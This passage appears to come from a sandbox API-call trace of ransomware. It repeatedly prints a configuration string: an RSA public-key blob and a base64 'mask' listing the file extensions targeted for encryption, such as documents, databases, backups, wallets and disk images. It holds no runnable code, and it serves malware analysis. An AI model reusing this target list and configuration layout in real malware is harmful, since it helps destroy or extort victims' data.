ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg